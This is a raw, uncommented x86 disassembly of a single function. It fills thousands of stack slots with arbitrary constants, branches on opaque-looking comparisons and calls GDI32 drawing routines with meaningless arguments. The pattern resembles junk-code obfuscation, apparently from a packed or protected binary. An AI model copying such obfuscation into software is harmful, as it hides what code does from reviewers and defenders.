mov byte [ebp - 0x77], 0x5b
mov ecx, 0xbed
mov word [ebp - 0x9d0], cx
mov dword [ebp - 0x2ad4], 0x37ce2a9c
mov edx, 0x103a
mov word [ebp - 0x9d4], dx
mov eax, 0x15db
mov word [ebp - 0x9d8], ax
mov byte [ebp - 0x78], 0xeb
mov dword [ebp - 0x2ad8], 0x62317f25
mov dword [ebp - 0x2adc], 0x6c709cdc
mov ecx, 0x9d5
mov word [ebp - 0x9dc], cx
mov dword [ebp - 0x2ae0], 0x4d1e8ec3
mov byte [ebp - 0x79], 0x82
mov edx, 0x729
mov word [ebp - 0x9e0], dx
mov byte [ebp - 0x7a], 0x4f
mov dword [ebp - 0x2ae4], 0x31b135da
mov dword [ebp - 0x2ae8], 0x3bce541d
mov eax, 0xdc2
mov word [ebp - 0x9e4], ax
mov dword [ebp - 0x2aec], 0x3e58eb47
mov dword [ebp - 0x2af0], 0x5c43f108
mov byte [ebp - 0x7b], 0x75
mov dword [ebp - 0x2af4], 0x8c37dfb9
mov dword [ebp - 0x2af8], 0x16cec9e1
mov dword [ebp - 0x2afc], 0x62a0ba8f
mov ecx, 0x3f2c
mov word [ebp - 0x9e8], cx
mov edx, 0x6648
mov word [ebp - 0x9ec], dx
mov byte [ebp - 0x7c], 0x3d
mov eax, 0x4834
mov word [ebp - 0x9f0], ax
mov dword [ebp - 0x2b00], 0x5f098ec7
mov byte [ebp - 0x7d], 0xed
mov byte [ebp - 0x7e], 0x8f
mov dword [ebp - 0x2b04], 0x74733d20
mov dword [ebp - 0x2b08], 0xba21c051
mov dword [ebp - 0x2b0c], 0x10f8e224
mov byte [ebp - 0x7f], 0x17
mov dword [ebp - 0x2b10], 0x2960de03
mov dword [ebp - 0x2b14], 0xb75baf82
mov dword [ebp - 0x2b18], 0x383c1399
mov dword [ebp - 0x2b1c], 0x2e9e0d63
mov ecx, 0x57a0
mov word [ebp - 0x9f4], cx
mov dword [ebp - 0x2b20], 0x6c006c62
mov dword [ebp - 0x2b24], 0x5e7f207a
mov byte [ebp - 0x80], 0x65
mov dword [ebp - 0x2b28], 0x77122fa5
mov byte [ebp - 0x81], 0xb0
mov edx, 0xb23
mov word [ebp - 0x9f8], dx
mov byte [ebp - 0x82], 0x66
mov dword [ebp - 0x2b2c], 0x67bbee2b
mov eax, 0x4c6
mov word [ebp - 0x9fc], ax
mov ecx, 0xd2
mov word [ebp - 0xa00], cx
mov dword [ebp - 0x2b30], 0x45415827
mov dword [ebp - 0x2b34], 0x6b82a92f
mov dword [ebp - 0x2b38], 0x710ba767
mov byte [ebp - 0x83], 0x2b
mov edx, 0x7a0
mov word [ebp - 0xa04], dx
mov dword [ebp - 0x2b3c], 0x19a7cf64
mov dword [ebp - 0x2b40], 0xa150e713
mov dword [ebp - 0x2b44], 0x31641159
mov dword [ebp - 0x2b48], 0x402928da
mov dword [ebp - 0x2b4c], 0x5bc2e226
mov dword [ebp - 0x2b50], 0x668e4fbc
mov byte [ebp - 0x84], 0x74
mov eax, 0x42e
mov word [ebp - 0xa08], ax
mov ecx, 0xa45
mov word [ebp - 0xa0c], cx
mov edx, 0xc4a
mov word [ebp - 0xa10], dx
mov dword [ebp - 0x2b54], 0x7e31677f
mov eax, 0x49e
mov word [ebp - 0xa14], ax
mov dword [ebp - 0x2b58], 0x404ec1c1
mov ecx, 0x450
mov word [ebp - 0xa18], cx
mov byte [ebp - 0x85], 0xea
mov dword [ebp - 0x2b5c], 0xaadbb189
mov dword [ebp - 0x2b60], 0x6dcc7aba
mov dword [ebp - 0x2b64], 0x443c4eb3
mov byte [ebp - 0x86], 0x45
mov dword [ebp - 0x2b68], 0x3ad2c1e7
mov dword [ebp - 0x2b6c], 0x4935dbbd
mov dword [ebp - 0x2b70], 0x594c23ea
mov dword [ebp - 0x2b74], 0x5478d78f
mov dword [ebp - 0x2b78], 0x4fdf2907
mov edx, 0xb6c
mov word [ebp - 0xa1c], dx
mov dword [ebp - 0x2b7c], 0xb073b22c
mov dword [ebp - 0x2b80], 0xb83e4b4b
mov dword [ebp - 0x2b84], 0x9a0caf49
mov dword [ebp - 0x2b88], 0x60f32209
mov dword [ebp - 0x2b8c], 0x65c082b8
mov dword [ebp - 0x2b90], 0xaf89f3a
mov eax, 0x9fc
mov word [ebp - 0xa20], ax
mov ecx, 0xf67
mov word [ebp - 0xa24], cx
mov byte [ebp - 0x87], 0x5c
mov dword [ebp - 0x2b94], 0x274c2050
mov dword [ebp - 0x2b98], 0x24049364
mov dword [ebp - 0x2b9c], 0x7d546719
mov byte [ebp - 0x88], 0x38
mov dword [ebp - 0x2ba0], 0x79c589d6
mov dword [ebp - 0x2ba4], 0x923c664b
mov byte [ebp - 0x89], 0x39
mov dword [ebp - 0x2ba8], 0x8a2b46eb
mov edx, 0x95e
mov word [ebp - 0xa28], dx
mov eax, 0x6d8
mov word [ebp - 0xa2c], ax
mov dword [ebp - 0x2bac], 0xef016d6
mov ecx, 0x5cf9
mov word [ebp - 0xa30], cx
mov edx, 0x3ce3
mov word [ebp - 0xa34], dx
mov dword [ebp - 0x2bb0], 0x337611a9
mov eax, 0xc61
mov word [ebp - 0xa38], ax
mov byte [ebp - 0x8a], 0x1c
mov dword [ebp - 0x2bb4], 0x971ebaf
mov byte [ebp - 0x8b], 0xfc
mov dword [ebp - 0x2bb8], 0x862a83c2
mov dword [ebp - 0x2bbc], 0xa02ff847
mov byte [ebp - 0x8c], 0xc7
mov ecx, 0x60f1
mov word [ebp - 0xa3c], cx
mov dword [ebp - 0x2bc0], 0x1f15db97
mov dword [ebp - 0x2bc4], 0x4b73582d
mov byte [ebp - 0x8d], 0x48
mov byte [ebp - 0x8e], 0x67
mov dword [ebp - 0x2bc8], 0xdb6273a
mov dword [ebp - 0x2bcc], 0x55a7aa7
mov dword [ebp - 0x2bd0], 0x715387ba
mov byte [ebp - 0x8f], 0x7f
mov dword [ebp - 0x2bd4], 0x53ede2b4
mov byte [ebp - 0x90], 0x33
mov edx, 0x17e
mov word [ebp - 0xa40], dx
mov dword [ebp - 0x2bd8], 0x198e7075
mov dword [ebp - 0x2bdc], 0xf83bce3c
mov eax, 0xf80
mov word [ebp - 0xa44], ax
mov dword [ebp - 0x2be0], 0x647b7376
mov dword [ebp - 0x2be4], 0xeaa283b8
mov dword [ebp - 0x2be8], 0xbba1c79b
mov byte [ebp - 0x91], 0x72
mov ecx, 0x174
mov word [ebp - 0xa48], cx
mov byte [ebp - 0x92], 0x18
mov dword [ebp - 0x2bec], 0xc5f7e3e7
mov edx, 0x50f
mov word [ebp - 0xa4c], dx
mov byte [ebp - 0x93], 0x3e
mov byte [ebp - 0x94], 0x57
mov eax, 0x529
mov word [ebp - 0xa50], ax
mov byte [ebp - 0x95], 0x14
mov ecx, 0x148
mov word [ebp - 0xa54], cx
mov byte [ebp - 0x96], 0xe8
mov edx, 0x847
mov word [ebp - 0xa58], dx
mov eax, 0xe19
mov word [ebp - 0xa5c], ax
mov byte [ebp - 0x97], 0xe3
mov ecx, 0xb91
mov word [ebp - 0xa60], cx
mov dword [ebp - 0x2bf0], 0x53835374
mov dword [ebp - 0x2bf4], 0x8c735792
mov edx, 0xd2
mov word [ebp - 0xa64], dx
mov dword [ebp - 0x2bf8], 0x157b6ea5
mov dword [ebp - 0x2bfc], 0x1fbc45a4
mov dword [ebp - 0x2c00], 0xade7d36
mov dword [ebp - 0x2c04], 0x65793f5d
mov dword [ebp - 0x2c08], 0x7981aa3d
mov byte [ebp - 0x98], 0x2c
mov eax, 0xae7
mov word [ebp - 0xa68], ax
mov ecx, 0x7b0
mov word [ebp - 0xa6c], cx
mov byte [ebp - 0x99], 0x18
mov dword [ebp - 0x2c0c], 0x703554f5
mov dword [ebp - 0x2c10], 0x76bee2c1
mov dword [ebp - 0x2c14], 0x15ae68fe
mov dword [ebp - 0x2c18], 0xa8573504
mov byte [ebp - 0x9a], 0xe
mov dword [ebp - 0x2c1c], 0xce097f42
mov edx, 0xb73
mov word [ebp - 0xa70], dx
mov dword [ebp - 0x2c20], 0x8b9a54ac
mov dword [ebp - 0x2c24], 0x2edcdb21
mov dword [ebp - 0x2c28], 0x4dbf8b47
mov dword [ebp - 0x2c2c], 0x60e4ede2
mov dword [ebp - 0x2c30], 0x6f435b22
mov dword [ebp - 0x2c34], 0xdea19b59
mov dword [ebp - 0x2c38], 0x560cd4cd
mov dword [ebp - 0x2c3c], 0xadb5f7b2
mov dword [ebp - 0x2c40], 0x71a28bdb
mov dword [ebp - 0x2c44], 0xbdfc348a
mov eax, 0x6a93
mov word [ebp - 0xa74], ax
mov ecx, 0x4711
mov word [ebp - 0xa78], cx
mov byte [ebp - 0x9b], 0xed
mov byte [ebp - 0x9c], 0xf5
mov dword [ebp - 0x2c48], 0x3386b846
mov dword [ebp - 0x2c4c], 0x4fc791e7
mov dword [ebp - 0x2c50], 0x474025ef
mov dword [ebp - 0x2c54], 0x769f084a
mov edx, 0x679
mov word [ebp - 0xa7c], dx
mov dword [ebp - 0x2c58], 0x1707488d
mov eax, 0x7be
mov word [ebp - 0xa80], ax
mov ecx, 0x3b4
mov word [ebp - 0xa84], cx
mov dword [ebp - 0x2c5c], 0x170aa815
mov dword [ebp - 0x2c60], 0x8ca0739
mov dword [ebp - 0x2c64], 0x26c9c662
mov edx, 0x1b5
mov word [ebp - 0xa88], dx
mov dword [ebp - 0x2c68], 0x1ad18f89
mov dword [ebp - 0x2c6c], 0x2db04f74
mov eax, 0x34f8
mov word [ebp - 0xa8c], ax
mov dword [ebp - 0x2c70], 0xeaa2980e
mov dword [ebp - 0x2c74], 0x3b18768e
mov dword [ebp - 0x2c78], 0x1851180d
mov byte [ebp - 0x9d], 0x75
mov byte [ebp - 0x9e], 0x83
mov dword [ebp - 0x2c7c], 0x40f97de2
mov ecx, 0xd97
mov word [ebp - 0xa90], cx
mov dword [ebp - 0x2c80], 0xc53d0b53
mov dword [ebp - 0x2c84], 0x192bcf04
mov dword [ebp - 0x2c88], 0x76089233
mov dword [ebp - 0x2c8c], 0x6df25edb
mov dword [ebp - 0x2c90], 0x6cce7d9c
mov dword [ebp - 0x2c94], 0x68da5745
mov edx, 0xe50
mov word [ebp - 0xa94], dx
mov eax, 0x6d1
mov word [ebp - 0xa98], ax
mov byte [ebp - 0x9f], 0x13
mov ecx, 0x439
mov word [ebp - 0xa9c], cx
mov byte [ebp - 0xa0], 0x8c
mov edx, 0x62d
mov word [ebp - 0xaa0], dx
mov dword [ebp - 0x2c98], 0xd00ac29b
mov dword [ebp - 0x2c9c], 0xd176f863
mov dword [ebp - 0x2ca0], 0x35483ba9
mov byte [ebp - 0xa1], 0x7d
mov byte [ebp - 0xa2], 0xe0
mov dword [ebp - 0x2ca4], 0x24ca7b2c
mov byte [ebp - 0xa3], 0x7a
mov dword [ebp - 0x2ca8], 0x2fc0e110
mov dword [ebp - 0x2cac], 0x144a4df9
mov byte [ebp - 0xa4], 0xc1
mov dword [ebp - 0x2cb0], 0xe2261e20
mov eax, 0x1b1
mov word [ebp - 0xaa4], ax
mov byte [ebp - 0xa5], 0x87
mov byte [ebp - 0xa6], 0x60
mov dword [ebp - 0x2cb4], 0x1ebdd5e0
mov dword [ebp - 0x2cb8], 0x1caf884c
mov ecx, 0xaf5
mov word [ebp - 0xaa8], cx
mov dword [ebp - 0x2cbc], 0x51782e21
mov dword [ebp - 0x2cc0], 0x6c590b09
mov byte [ebp - 0xa7], 0x31
mov dword [ebp - 0x2cc4], 0x2fc90fc
mov byte [ebp - 0xa8], 0xaf
mov edx, 0x3724
mov word [ebp - 0xaac], dx
mov eax, 0x9ba
mov word [ebp - 0xab0], ax
mov byte [ebp - 0xa9], 0xca
mov dword [ebp - 0x2cc8], 0x411bb821
mov dword [ebp - 0x2ccc], 0x2196a261
mov byte [ebp - 0xaa], 0x56
mov dword [ebp - 0x2cd0], 0x67ca90d8
mov dword [ebp - 0x2cd4], 0x4d030f9b
mov byte [ebp - 0xab], 0xba
mov dword [ebp - 0x2cd8], 0x1a00f195
mov dword [ebp - 0x2cdc], 0x4b66b3cb
mov dword [ebp - 0x2ce0], 0x9430d738
mov byte [ebp - 0xac], 0xe5
mov ecx, 0xf62
mov word [ebp - 0xab4], cx
mov dword [ebp - 0x2ce4], 0xcc28e01d
mov byte [ebp - 0xad], 0x30
mov dword [ebp - 0x2ce8], 0x767db7da
mov byte [ebp - 0xae], 0xd2
mov dword [ebp - 0x2cec], 0x75476c57
mov dword [ebp - 0x2cf0], 0x2d712a9
mov dword [ebp - 0x2cf4], 0x4668ff32
mov edx, 0x14f
mov word [ebp - 0xab8], dx
mov dword [ebp - 0x2cf8], 0x425c6cbf
mov byte [ebp - 0xaf], 0xd8
mov eax, 0xec9
mov word [ebp - 0xabc], ax
mov dword [ebp - 0x2cfc], 0x9c18527
mov dword [ebp - 0x2d00], 0x702936fa
mov dword [ebp - 0x2d04], 0x14355122
mov dword [ebp - 0x2d08], 0x260ef425
mov dword [ebp - 0x2d0c], 0x7a54dc52
mov dword [ebp - 0x2d10], 0x3c40dc5a
mov dword [ebp - 0x2d14], 0x44b69bfa
mov dword [ebp - 0x2d18], 0x78066c61
mov ecx, 0x693
mov word [ebp - 0xac0], cx
mov dword [ebp - 0x2d1c], 0x29262323
mov dword [ebp - 0x2d20], 0x437e6bf8
mov dword [ebp - 0x2d24], 0xc5e8d1f
mov edx, 0x642f
mov word [ebp - 0xac4], dx
mov byte [ebp - 0xb0], 0x49
mov eax, 0xb71
mov word [ebp - 0xac8], ax
mov ecx, 0xa72
mov word [ebp - 0xacc], cx
mov dword [ebp - 0x2d28], 0xa2dc2ee5
mov dword [ebp - 0x2d2c], 0x1429ff8b
mov byte [ebp - 0xb1], 0x4d
mov edx, 0x853
mov word [ebp - 0xad0], dx
mov eax, 0xa7f
mov word [ebp - 0xad4], ax
mov dword [ebp - 0x2d30], 0xfb0b6c47
mov ecx, 0x3604
mov word [ebp - 0xad8], cx
mov dword [ebp - 0x2d34], 0x7887f9b
mov byte [ebp - 0xb2], 0x4e
mov dword [ebp - 0x2d38], 0x377778f
mov dword [ebp - 0x2d3c], 0x62520cff
mov edx, 0x78f1
mov word [ebp - 0xadc], dx
mov dword [ebp - 0x2d40], 0x1c1884ec
mov dword [ebp - 0x2d44], 0x540b2a91
mov eax, 0x40f
mov word [ebp - 0xae0], ax
mov dword [ebp - 0x2d48], 0x415c1aa5
mov dword [ebp - 0x2d4c], 0x68024063
mov byte [ebp - 0xb3], 0x94
mov dword [ebp - 0x2d50], 0x1f9f251d
mov ecx, 0xac0
mov word [ebp - 0xae4], cx
mov byte [ebp - 0xb4], 0x4f
mov edx, 0x6890
mov word [ebp - 0xae8], dx
mov byte [ebp - 0xb5], 0xb1
mov byte [ebp - 0xb6], 0xc5
mov eax, 0x6835
mov word [ebp - 0xaec], ax
mov byte [ebp - 0xb7], 0xc6
mov dword [ebp - 0x2d54], 0x6a31e987
mov ecx, 0xeee
mov word [ebp - 0xaf0], cx
mov edx, 0x578
mov word [ebp - 0xaf4], dx
mov dword [ebp - 0x2d58], 0x4e9df2a7
mov dword [ebp - 0x2d5c], 0x2fd9b054
mov dword [ebp - 0x2d60], 0x6cb54887
mov eax, 0x11a
mov word [ebp - 0xaf8], ax
mov byte [ebp - 0xb8], 0x61
mov dword [ebp - 0x2d64], 0x6eb25a73
mov ecx, 0x16
mov word [ebp - 0xafc], cx
mov dword [ebp - 0x2d68], 0x89ce78f
mov byte [ebp - 0xb9], 0xe5
mov dword [ebp - 0x2d6c], 0x85837b33
mov dword [ebp - 0x2d70], 0x28d8197
mov dword [ebp - 0x2d74], 0xbfb0f313
mov byte [ebp - 0xba], 0x40
mov dword [ebp - 0x2d78], 0x40e562bf
mov edx, 0xd6c
mov word [ebp - 0xb00], dx
mov dword [ebp - 0x2d7c], 0x694414fe
mov dword [ebp - 0x2d80], 0x437f773f
mov byte [ebp - 0xbb], 0xe8
mov eax, 0x31b
mov word [ebp - 0xb04], ax
mov byte [ebp - 0xbc], 0x6b
mov dword [ebp - 0x2d84], 0x6a77fcff
mov ecx, 0x484
mov word [ebp - 0xb08], cx
mov edx, 0x464
mov word [ebp - 0xb0c], dx
mov byte [ebp - 0xbd], 0x38
mov eax, 0x392
mov word [ebp - 0xb10], ax
mov byte [ebp - 0xbe], 0x2a
mov dword [ebp - 0x2d88], 0x4a51081d
mov dword [ebp - 0x2d8c], 0x3d6947ab
mov dword [ebp - 0x2d90], 0x53c57950
mov ecx, 0x65ed
mov word [ebp - 0xb14], cx
mov dword [ebp - 0x2d94], 0x121bea98
mov dword [ebp - 0x2d98], 0x6a798bb5
mov byte [ebp - 0xbf], 0xbb
mov byte [ebp - 0xc0], 0x69
mov dword [ebp - 0x2d9c], 0x60e8ed63
mov dword [ebp - 0x2da0], 0x72bdb167
mov edx, 0x1d9
mov word [ebp - 0xb18], dx
mov dword [ebp - 0x2da4], 0x97fc1d40
mov dword [ebp - 0x2da8], 0x94484f6
mov byte [ebp - 0xc1], 0x8e
mov dword [ebp - 0x2dac], 0x8f5f067
mov dword [ebp - 0x2db0], 0x6437de42
mov byte [ebp - 0xc2], 0x71
mov dword [ebp - 0x2db4], 0x66030bb8
mov eax, 0xa58
mov word [ebp - 0xb1c], ax
mov dword [ebp - 0x2db8], 0x720fae99
mov byte [ebp - 0xc3], 0xfa
mov dword [ebp - 0x2dbc], 0xa5e6d8d6
mov byte [ebp - 0xc4], 9
mov dword [ebp - 0x2dc0], 0x36c429cc
mov byte [ebp - 0xc5], 0x4a
mov dword [ebp - 0x2dc4], 0x6d4393e3
mov byte [ebp - 0xc6], 0x50
mov ecx, 0x47d
mov word [ebp - 0xb20], cx
mov dword [ebp - 0x2dc8], 0x7388d887
mov dword [ebp - 0x2dcc], 0x2982c893
mov dword [ebp - 0x2dd0], 0x7f3295d6
mov dword [ebp - 0x2dd4], 0xd8aad6d
mov dword [ebp - 0x2dd8], 0x54aadcf0
mov dword [ebp - 0x2ddc], 0x9b65536
mov edx, 0xa9d
mov word [ebp - 0xb24], dx
mov eax, 0x2ae
mov word [ebp - 0xb28], ax
mov dword [ebp - 0x2de0], 0x6944b300
mov dword [ebp - 0x2de4], 0x3c950cf6
mov dword [ebp - 0x2de8], 0x4a4cc9ea
mov dword [ebp - 0x2dec], 0x47aca8fb
mov dword [ebp - 0x2df0], 0x9ae38f3e
mov ecx, 0x78d
mov word [ebp - 0xb2c], cx
mov byte [ebp - 0xc7], 8
mov byte [ebp - 0xc8], 1
mov dword [ebp - 0x2df4], 0x48c77cfa
mov edx, 0x912
mov word [ebp - 0xb30], dx
mov eax, 0x4236
mov word [ebp - 0xb34], ax
mov dword [ebp - 0x2df8], 0xf7658f4b
mov dword [ebp - 0x2dfc], 0x7ebdcd42
mov dword [ebp - 0x2e00], 0x1f35910c
mov dword [ebp - 0x2e04], 0x1ec99481
mov ecx, 0x68ff
mov word [ebp - 0xb38], cx
mov dword [ebp - 0x2e08], 0x39544eb7
mov dword [ebp - 0x2e0c], 0x2218e856
mov dword [ebp - 0x2e10], 0x594f69de
mov dword [ebp - 0x2e14], 0x1ea09cad
mov byte [ebp - 0xc9], 0x38
mov dword [ebp - 0x2e18], 0x1b7c7ab5
mov edx, 0x4cb
mov word [ebp - 0xb3c], dx
mov byte [ebp - 0xca], 0x76
mov dword [ebp - 0x2e1c], 0x18419ced
mov byte [ebp - 0xcb], 0x3c
mov byte [ebp - 0xcc], 0x3e
mov dword [ebp - 0x2e20], 0x65a6e8aa
mov eax, 0x79d8
mov word [ebp - 0xb40], ax
mov dword [ebp - 0x2e24], 0x2f80
mov dword [ebp - 0x2e28], 0x7567
movsx ecx, byte [0x518004]
sub ecx, 0x12
mov byte [0x518004], cl
mov edx, dword [ebp - 0x2dfc]
add edx, 0x9974ebff
mov dword [ebp - 0x2dfc], edx
mov eax, 0xdb3
mov word [ebp - 0xb44], ax
mov cl, byte [0x518004]
mov byte [ebp - 0xcd], cl
mov dword [ebp - 0x2e2c], 0x6c0c5d07
mov dword [ebp - 0x2e30], 0xde61
mov edx, dword [ebp - 0x2dfc]
mov dword [ebp - 0x2e34], edx
cmp dword [ebp - 0x2e34], 0x1832b941
je 0x4184a2
cmp dword [ebp - 0x2e34], 0xe5941c3d
je 0x4ed478
jmp 0x4ed4fb
mov eax, dword [ebp - 0x2e2c]
mov dword [ebp - 0x2e38], eax
lea ecx, [ebp - 0xb40]
mov dword [ebp - 0x2e3c], ecx
mov dx, word [ebp - 0xb44]
mov word [ebp - 0xb48], dx
mov dword [ebp - 0x2e40], 0xc965
mov eax, dword [ebp - 0x2e2c]
xor eax, 0x76ff7fbf
cmp eax, dword [ebp - 0x2e38]
jg 0x4ed386
movzx ecx, word [ebp - 0xb48]
mov dword [ebp - 0x2e44], ecx
cmp dword [ebp - 0x2e44], 0xdac
je 0x418517
cmp dword [ebp - 0x2e44], 0xdb3
je 0x4185af
jmp 0x4ed2b4
movsx edx, byte [ebp - 0xcd]
imul eax, edx, 0x15
movsx ecx, byte [0x518004]
cmp eax, ecx
je 0x41857b
movzx edx, word [ebp - 0xb44]
add edx, 0xd3b
mov word [ebp - 0xb48], dx
movsx eax, word [ebp - 0xb40]
sub eax, 0x5116
mov ecx, dword [ebp - 0x2e3c]
mov word [ecx], ax
lea edx, [ebp - 0x2e48]
push edx
push 0x86
push 0xc2
mov eax, dword [ebp - 0x2e4c]
push eax
call dword [sym.imp.GDI32.dll_MoveToEx]
mov dword [ebp - 0x2e50], eax
jmp 0x4185aa
movzx ecx, word [ebp - 0xb44]
and ecx, 0xc
movzx edx, word [ebp - 0xb48]
cmp ecx, edx
jne 0x4185aa
movzx eax, word [ebp - 0xb40]
push eax
mov ecx, dword [ebp - 0x2e3c]
movzx edx, word [ecx]
push edx
call fcn.004ee400
add esp, 8
jmp 0x4ed2b4
mov eax, dword [ebp - 0x2dfc]
mov dword [0x5193b8], eax
mov dword [ebp - 0x2e54], 0x955a
lea ecx, [ebp - 0x2e38]
mov dword [ebp - 0x2e58], ecx
mov dl, byte [ebp - 0xcd]
mov byte [ebp - 0xce], dl
mov ax, word [ebp - 0xb40]
mov word [ebp - 0xb4c], ax
movzx ecx, word [ebp - 0xb44]
add ecx, 0x47a
mov word [ebp - 0xb48], cx
movsx edx, word [ebp - 0xb40]
movsx eax, word [ebp - 0xb4c]
sub edx, eax
mov ecx, dword [ebp - 0x2e3c]
mov word [ecx], dx
mov edx, dword [ebp - 0x2e5c]
mov dword [ebp - 0x2e60], edx
mov eax, dword [ebp - 0x2e58]
mov ecx, dword [ebp - 0x2e38]
and ecx, dword [eax]
mov dword [ebp - 0x2e2c], ecx
mov edx, dword [ebp - 0x2dfc]
add edx, dword [ebp - 0x2e60]
mov dword [0x5193b8], edx
mov eax, dword [ebp - 0x2e54]
sub eax, 0x61
mov dword [ebp - 0x2e54], eax
mov ecx, dword [ebp - 0x2e5c]
sub ecx, dword [ebp - 0x2dfc]
mov dword [ebp - 0x2e60], ecx
mov edx, dword [ebp - 0x2e58]
mov eax, dword [ebp - 0x2e2c]
sub eax, dword [edx]
mov dword [ebp - 0x2e38], eax
mov ecx, dword [ebp - 0x2e3c]
movsx edx, word [ecx]
movsx eax, word [ebp - 0xb4c]
add edx, eax
mov ecx, dword [ebp - 0x2e3c]
mov word [ecx], dx
mov edx, dword [ebp - 0x2e3c]
movsx eax, word [edx]
movsx ecx, word [ebp - 0xb4c]
shl eax, cl
mov ecx, dword [ebp - 0x2e3c]
mov word [ecx], ax
mov edx, dword [ebp - 0x2e58]
mov eax, dword [ebp - 0x2e2c]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0x2e38], eax
movsx ecx, word [ebp - 0xb4c]
movsx edx, word [ebp - 0xb40]
or ecx, edx
mov eax, dword [ebp - 0x2e3c]
mov word [eax], cx
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [ebp - 0x2e38]
xor edx, dword [ecx]
mov dword [ebp - 0x2e2c], edx
mov eax, dword [ebp - 0x2e58]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x2e38]
mov edx, dword [ebp - 0x2e58]
mov dword [edx], ecx
movsx eax, word [ebp - 0xb40]
movsx ecx, word [ebp - 0xb4c]
sub eax, ecx
mov edx, dword [ebp - 0x2e3c]
mov word [edx], ax
movzx eax, word [ebp - 0xb48]
add eax, 0xcb8
mov word [ebp - 0xb44], ax
movsx ecx, byte [ebp - 0xce]
movsx edx, byte [0x518004]
sub ecx, edx
mov byte [ebp - 0xcd], cl
mov eax, dword [ebp - 0x2e3c]
movsx ecx, word [eax]
movsx edx, word [ebp - 0xb4c]
add ecx, edx
mov word [ebp - 0xb40], cx
movsx eax, word [ebp - 0xb40]
movsx ecx, word [ebp - 0xb4c]
sub eax, ecx
mov edx, dword [ebp - 0x2e3c]
mov word [edx], ax
mov eax, dword [ebp - 0x2e38]
and eax, dword [ebp - 0x2e2c]
mov ecx, dword [ebp - 0x2e58]
mov dword [ecx], eax
movzx edx, word [ebp - 0xb48]
add edx, 0x4a8
mov word [ebp - 0xb44], dx
mov eax, dword [0x5193b8]
add eax, dword [ebp - 0x2e60]
mov dword [ebp - 0x2dfc], eax
mov ecx, dword [ebp - 0x2e3c]
movsx edx, word [ecx]
movsx eax, word [ebp - 0xb40]
sub edx, eax
mov ecx, dword [ebp - 0x2e3c]
mov word [ecx], dx
mov edx, dword [ebp - 0x2e58]
mov eax, dword [edx]
or eax, dword [ebp - 0x2e38]
mov ecx, dword [ebp - 0x2e58]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2e58]
mov eax, dword [edx]
xor eax, dword [ebp - 0x2e38]
mov ecx, dword [ebp - 0x2e58]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2dfc]
mov dword [ebp - 0x2e5c], edx
movsx eax, byte [ebp - 0xce]
movsx ecx, byte [0x518004]
shl eax, cl
mov byte [ebp - 0xcd], al
movzx ecx, word [ebp - 0xb48]
sar ecx, 9
mov word [ebp - 0xb44], cx
mov edx, dword [ebp - 0x2e58]
mov eax, dword [edx]
and eax, dword [ebp - 0x2e38]
mov dword [ebp - 0x2e2c], eax
mov ecx, dword [ebp - 0x2e58]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x2e2c]
mov eax, dword [ebp - 0x2e58]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2e5c]
add ecx, dword [ebp - 0x2e60]
mov dword [ebp - 0x2dfc], ecx
cmp dword [ebp - 0x2e54], 0x8755
jae 0x4185ea
mov edx, dword [ebp - 0x2e2c]
mov dword [ebp - 0x2e64], edx
movzx eax, word [ebp - 0xb44]
sub eax, 0xfd
movzx ecx, word [ebp - 0xb48]
cmp eax, ecx
jg 0x4ed267
mov edx, dword [ebp - 0x2e3c]
movsx eax, word [edx]
mov dword [ebp - 0x2e68], eax
cmp dword [ebp - 0x2e68], 0
je 0x4188d0
cmp dword [ebp - 0x2e68], 0x2f5c
je 0x41890a
jmp 0x418985
mov ecx, dword [ebp - 0x2e3c]
movsx edx, word [ecx]
movsx eax, word [ebp - 0xb4c]
sub edx, eax
mov word [ebp - 0x7f4], dx
lea ecx, [ebp - 0xb44]
mov dword [ebp - 0x2e6c], ecx
mov byte [ebp - 0xcf], 0x61
lea edx, [ebp - 0x2dfc]
mov dword [ebp - 0x2e70], edx
jmp 0x418985
mov eax, dword [ebp - 0x2e58]
mov ecx, dword [ebp - 0x2e2c]
and ecx, dword [eax]
mov dword [ebp - 0x2e64], ecx
movzx edx, word [ebp - 0xb44]
movzx eax, word [ebp - 0xb48]
imul edx, eax
mov ecx, dword [ebp - 0x2e6c]
movzx eax, word [ecx]
cmp edx, eax
jge 0x41896c
push 0xca
lea ecx, [ebp - 0xb44]
push ecx
mov edx, dword [ebp - 0x2e74]
push edx
call dword [sym.imp.GDI32.dll_ModifyWorldTransform]
mov dword [ebp - 0x2e78], eax
mov eax, dword [ebp - 0x2e38]
push eax
call fcn.004ee520
add esp, 4
jmp 0x418985
mov ecx, dword [ebp - 0x2e6c]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0xb48]
sar edx, cl
mov word [ebp - 0xb44], dx
lea eax, [ebp - 0xcf]
mov dword [ebp - 0x2e7c], eax
movsx ecx, byte [ebp - 0xcd]
movsx edx, byte [ebp - 0xce]
or ecx, edx
mov byte [0x518005], cl
mov eax, dword [ebp - 0x2e70]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2dfc]
shl edx, cl
mov dword [ebp - 0x2e5c], edx
lea eax, [ebp - 0x2e2c]
mov dword [ebp - 0x2e80], eax
movzx ecx, word [ebp - 0xb44]
mov dword [ebp - 0x2e84], ecx
cmp dword [ebp - 0x2e84], 2
je 0x418afc
cmp dword [ebp - 0x2e84], 0x81c
je 0x4189f4
jmp 0x418b6f
mov edx, dword [ebp - 0x2e6c]
movzx eax, word [edx]
mov dword [ebp - 0x2e88], eax
cmp dword [ebp - 0x2e88], 0x291
je 0x418a20
cmp dword [ebp - 0x2e88], 0x50b
je 0x418a50
jmp 0x418aec
mov ecx, dword [ebp - 0x2e80]
mov edx, dword [ebp - 0x2e58]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x2e80]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2e8c]
push edx
call dword [sym.imp.GDI32.dll_UnrealizeObject]
mov dword [ebp - 0x2e90], eax
jmp 0x418aec
mov eax, dword [ebp - 0x2e80]
mov ecx, dword [eax]
mov dword [ebp - 0x2e94], ecx
cmp dword [ebp - 0x2e94], 0x28d56c55
je 0x418a78
cmp dword [ebp - 0x2e94], 0x70447750
je 0x418ac1
jmp 0x418aec
mov edx, dword [ebp - 0x2e70]
mov eax, dword [edx]
and eax, dword [ebp - 0x2dfc]
